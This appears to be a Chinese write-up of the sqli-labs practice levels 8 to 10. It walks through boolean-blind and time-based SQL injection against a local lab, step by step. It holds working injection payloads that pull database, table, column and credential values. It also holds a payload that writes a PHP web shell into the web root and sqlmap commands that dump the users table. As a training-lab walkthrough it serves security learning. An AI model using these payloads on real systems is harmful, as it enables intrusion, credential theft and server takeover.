1.?id=2’ --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限(先判断字段数)
3.当输入3时返回正常,输入4时不返回。
http://127.0.0.1/sqli-labs/Less-8/?id=1' union select 1,"chopper']);?>",3 into outfile "D:\\phpstudy2\\WWW\\hello.php" --+
id=1回显,价格单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 --+ 回显了,说明这里存在布尔盲注
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
可以通过 > < 比较字符大小加速爆破
暴库payload
?id=1' and left((select database()),1)='s'--+
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
用户名
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
时间延迟型和报错型payload核心部分的构造相同
本方法中payload = ?id=1’ and if(报错型payload核心部分,sleep(5),1)–+
爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)=‘security’
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+`在这里插入代码片`
通过坚持不懈的测试,终于在limit 3,1 爆破出user表名为users.
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
特别这里要指出:要加 --level 3 --risk --3
查数据库名:
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique T --level 3 --risk 3 --dbs --batch
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique T --level 3 --risk 3 -D security --tables --batch
查字段名:
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique T --level 3 --risk 3 -D security -T users --columns --batch
查字段值:
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique T --level 3 --risk 3 -D security -T users -C "username,password" --dump --batch
大致和第八关差不多,在使用sqlmap的时候,只需要将 T 改为 B
在第九关的基础上,将单引号换成双引号。